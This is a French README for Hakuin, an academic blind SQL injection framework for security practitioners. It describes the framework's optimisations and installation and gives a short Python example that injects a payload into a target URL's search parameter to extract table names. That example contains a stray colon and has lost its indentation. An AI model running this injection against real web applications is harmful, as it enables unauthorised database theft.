
Un framework d'optimisation et d'automatisation d'injection SQL aveugle, extrêmement rapide et entièrement configurable.
Hakuin est un framework d'optimisation et d'automatisation pour l'injection SQL aveugle (BSQLI) écrit en Python 3. Il abstrait la logique d'extraction et permet aux utilisateurs de vider facilement et efficacement les bases de données d'applications web vulnérables. Pour accélérer le processus, Hakuin utilise diverses méthodes d'optimisation, notamment des modèles de langage pré-entraînés et adaptatifs, des devinettes opportunistes, la modélisation statistique, le parallélisme, les requêtes ternaires, et bien plus encore.
Hakuin a été présenté lors de conférences académiques et industrielles de renom :
Plus d'informations sont disponibles dans notre article et nos diapositives.
Pour installer Hakuin, exécutez simplement :
pip3 install hakuin
Hakuin est livré avec un outil intuitif qui propose la plupart des fonctionnalités de Hakuin directement depuis la ligne de commande :
hk -h
Parfois, les vulnérabilités BSQLI sont trop délicates à exploiter depuis la ligne de commande et nécessitent un script personnalisé. C'est là que Hakuin excelle, vous permettant de personnaliser absolument tout : la logique d'injection, la logique d'inférence et même les requêtes.
Voici un exemple minimal :
import asyncio
import aiohttp
from hakuin import Extractor, Requester
class SimpleRequester(Requester):
async def request(self, query, ctx):
payload = query.render(ctx)
url = f'http://target.com/users?search=XXX" OR ({payload})--'
async with aiohttp.request('GET', url) as resp:
return resp.status == 200
async def main():
requester = SimpleRequester():
ext = Extractor(requester=requester, dbms='sqlite')
data = await ext.extract_table_names()
print(data)
asyncio.run(main())
Assurez-vous de consulter notre tutoriel.
Ce dépôt est activement développé pour répondre aux besoins des praticiens de la sécurité. Les chercheurs souhaitant reproduire les expériences décrites dans notre article devraient installer la version figée car elle contient le code original, les scripts d'expérimentation et un manuel d'instructions pour reproduire les résultats.
@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}